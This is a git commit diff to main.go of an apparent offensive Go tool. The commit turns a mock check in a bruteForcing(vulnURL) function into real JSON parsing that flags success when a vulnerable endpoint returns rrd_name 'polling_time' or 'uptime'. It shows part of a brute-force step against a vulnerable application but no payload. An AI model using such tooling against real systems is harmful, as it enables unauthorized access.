fixed mock value
This commit is contained in:
parent
abf78129f0
commit
6d4a830565
19
main.go
19
main.go
|
@ -1,6 +1,7 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
|
@ -100,16 +101,26 @@ func bruteForcing(vulnURL string) (bool, int, int) {
|
|||
return false, 1, 1
|
||||
}
|
||||
|
||||
if buf.String() != "[]" {
|
||||
rrdName := "asdf"
|
||||
if rrdName == "polling_time" || rrdName == "uptime" {
|
||||
// perse the json response
|
||||
var jsonResponse []map[string]interface{}
|
||||
err = json.Unmarshal([]byte(buf.String()), &jsonResponse)
|
||||
if err != nil {
|
||||
fmt.Println("Error unmarshalling JSON:", err)
|
||||
return false, 1, 1
|
||||
}
|
||||
|
||||
// the response must have at least one item
|
||||
if len(jsonResponse) > 0 {
|
||||
// first item, and the rrd_name field
|
||||
rrdName, exists := jsonResponse[0]["rrd_name"].(string)
|
||||
if exists && (rrdName == "polling_time" || rrdName == "uptime") {
|
||||
fmt.Println("Bruteforce Success")
|
||||
return true, n, n2
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Println("Unknown error occured")
|
||||
fmt.Println("Unknown error occurred")
|
||||
return false, 1, 1
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in a new issue